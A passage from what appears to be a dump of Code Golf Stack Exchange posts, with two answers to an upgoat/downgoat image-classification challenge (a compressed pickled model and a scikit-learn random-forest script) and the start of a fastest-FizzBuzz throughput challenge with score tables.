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\nBPBFEE//F3JFOFCQsfyJNg==\n'''\nprint(['','Up','Down'][int(pickle.loads(bz2.decompress(base64.b64decode(s))).predict(numpy.array([skimage.transform.resize(skimage.io.imread(sys.argv[1],as_grey=True),(24,12),mode='constant').flatten()]))[0])]+'goat')\n```\n---\nupdate: per request here is the training data, resized to 24x12 and combined into a single image for ease of upload/presentation. its over a hundred images. , , duckduckgo image search, google image search, etc\n[![training data at 24x12 pixels](https://i.stack.imgur.com/bXmus.jpg)](https://i.stack.imgur.com/bXmus.jpg)\n[Answer]\n# Scikit-learn with Random Forests, 100%\nThe tried-and-true approach is convnets, but [random forests can perform very well out-of-the-box](https://medium.com/rants-on-machine-learning/the-unreasonable-effectiveness-of-random-forests-f33c3ce28883) (few parameters to tune). Here I show some general techniques in image classification tasks.\nI started off with 100 images of goats for training I found through Google Images (AFAIK none in the training data match the test data). Each image is rescaled to 20x16 in grayscale, then the array is flattened to produce one row in a 2D array. A flipped version of the image is also added as a row for the training data. I did not need to use any [data augmentation techniques](https://medium.com/nanonets/how-to-use-deep-learning-when-you-have-limited-data-part-2-data-augmentation-c26971dc8ced).\n![grid of goats](https://i.stack.imgur.com/c266h.jpg)\nThen I feed the 2D array into the random forest classifier and call predict to produce 50 decision trees. Here is the (messy) code:\n```\nRESIZE_WIDTH = 20\nRESIZE_HEIGHT = 16\ndef preprocess_img(path):\n img = cv2.imread(path, 0) # Grayscale\n resized_img = cv2.resize(img, (RESIZE_WIDTH, RESIZE_HEIGHT))\n return resized_img\ndef train_random_forest(downgoat_paths, upgoat_paths, data_paths):\n assert len(data_paths) == 100\n # Create blank image grid\n img_grid = np.zeros((10*RESIZE_HEIGHT, 10*RESIZE_WIDTH), np.uint8)\n # Training data\n TRAINING_EXAMPLES = 2*len(data_paths)\n train_X = np.zeros((TRAINING_EXAMPLES, RESIZE_WIDTH*RESIZE_HEIGHT), np.uint8)\n train_y = np.zeros(TRAINING_EXAMPLES, np.uint8)\n TEST_EXAMPLES = len(downgoat_paths) + len(upgoat_paths)\n test_X = np.zeros((TEST_EXAMPLES, RESIZE_WIDTH*RESIZE_HEIGHT), np.uint8)\n test_y = np.zeros(TEST_EXAMPLES, np.uint8)\n for i, data_path in enumerate(data_paths):\n img = preprocess_img(data_path)\n # Paste to grid\n ph = (i//10) * RESIZE_HEIGHT\n pw = (i%10) * RESIZE_WIDTH\n img_grid[ph:ph+RESIZE_HEIGHT, pw:pw+RESIZE_WIDTH] = img\n flipped_img = np.flip(img, 0)\n # Add to train array\n train_X[2*i,], train_y[2*i] = img.flatten(), 1\n train_X[2*i+1,], train_y[2*i+1] = flipped_img.flatten(), 0\n cv2.imwrite(\"grid.jpg\", img_grid)\n clf = RandomForestClassifier(n_estimators=50, verbose=1)\n clf.fit(train_X, train_y)\n joblib.dump(clf, 'clf.pkl')\n for i, img_path in enumerate(downgoat_paths + upgoat_paths):\n test_X[i,] = preprocess_img(img_path).flatten()\n test_y[i] = (i >= len(downgoat_paths))\n predict_y = clf.predict(test_X)\n print(predict_y)\n print(test_y)\n print(accuracy_score(predict_y, test_y))\n # Draw tree 0\n tree.export_graphviz(clf.estimators_[0], out_file=\"tree.dot\", filled=True)\n os.system('dot -Tpng tree.dot -o tree.png')\ndef main():\n downgoat_paths = [\"downgoat\" + str(i) + \".jpg\" for i in range(1, 10)]\n upgoat_paths = [\"upgoat\" + str(i) + \".jpg\" for i in range(1, 10)]\n data_paths = [\"data/\" + file for file in os.listdir(\"data\")]\n train_random_forest(downgoat_paths, upgoat_paths, data_paths)\n```\nHere is the first decision tree (though since the model is in an ensemble, [it is not particularly useful](https://stats.stackexchange.com/a/2362/140662))\n![decision tree #0](https://i.stack.imgur.com/cGQ0v.png)\n]"}}},{"rowIdx":13,"cells":{"text":{"kind":"string","value":"[Question]\n [\nFizz Buzz is a common challenge given during interviews. The challenge goes something like this:\n> \n> Write a program that prints the numbers from 1 to n. If a number is\n> divisible by 3, write Fizz instead. If a number is divisible by 5,\n> write Buzz instead. However, if the number is divisible by both 3 and\n> 5, write FizzBuzz instead.\n> \n> \n> \nThe goal of this question is to write a FizzBuzz implementation that goes from 1 to infinity (or some arbitrary very very large number), and that implementation should do it **as fast as possible**.\n## Checking throughput\nWrite your fizz buzz program. Run it. Pipe the output through ` | pv > /dev/null`. The higher the throughput, the better you did.\n## Example\nA naive implementation written in C gets you about 170MiB/s on an average machine:\n```\n#include \nint main() {\n for (int i = 1; i < 1000000000; i++) {\n if ((i % 3 == 0) && (i % 5 == 0)) {\n printf(\"FizzBuzz\\n\");\n } else if (i % 3 == 0) {\n printf(\"Fizz\\n\");\n } else if (i % 5 == 0) {\n printf(\"Buzz\\n\");\n } else {\n printf(\"%d\\n\", i);\n }\n }\n}\n```\nThere is a lot of room for improvement here. In fact, I've seen an implementation that can get more than 3GiB/s on the same machine.\nI want to see what clever ideas the community can come up with to push the throughput to its limits.\n## Rules\n* All languages are allowed.\n* The program output must be exactly valid fizzbuzz. No playing tricks such as writing null bytes in between the valid output - null bytes that don't show up in the console but do count towards `pv` throughput.\nHere's an example of valid output:\n```\n1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\nBuzz\n11\nFizz\n13\n14\nFizzBuzz\n16\n17\nFizz\n19\nBuzz\n# ... and so on\n```\nValid output must be simple ASCII, single-byte per character, new lines are a single `\\n` and not `\\r\\n`. The numbers and strings must be correct as per the FizzBuzz requirements. The output must go on forever (or a very high astronomical number, at-least 2^58) and not halt / change prematurely.\n* Parallel implementations are allowed (and encouraged).\n* Architecture specific optimizations / assembly is also allowed. This is not a real contest - I just want to see how people push fizz buzz to its limit - even if it only works in special circumstances/platforms.\n# Scores\nScores are from running on my desktop with an AMD 5950x CPU (16C / 32T). I have 64GB of 3200Mhz RAM. CPU mitigations are disabled.\n\\*\\*By far the best score so far is in C++ [by](https://codegolf.stackexchange.com/a/269772/99226) @David Frank - generating FizzBuzz at around 1.7 Terrabit/s\nAt the second place - @ais523 - generating FizzBuzz at 61GiB/s with x86 assembly.\n# Results for java:\n| Author | Throughput |\n| --- | --- |\n| ioan2 | 2.6 GiB/s |\n| randy | 0.6 GiB/s |\n| randy\\_ioan | 3.3 GiB/s |\n| ioan | 4.6 GiB/s |\n| olivier | 5.8 GiB/s |\n# Results for python:\n| Author | Throughput |\n| --- | --- |\n| bconstanzo | 0.1 GiB/s |\n| michal | 0.1 GiB/s |\n| ksousa\\_chunking | 0.1 GiB/s |\n| ksousa\\_initial | 0.0 GiB/s |\n| arrmansa | 0.2 GiB/s |\n| antoine | 0.5 GiB/s |\n# Results for pypy:\n| Author | Throughput |\n| --- | --- |\n| bconstanzo\\_pypy | 0.3 GiB/s |\n# Results for rust:\n| Author | Throughput |\n| --- | --- |\n| aiden | 3.4 GiB/s |\n| xavier | 0.9 GiB/s |\n# Results for 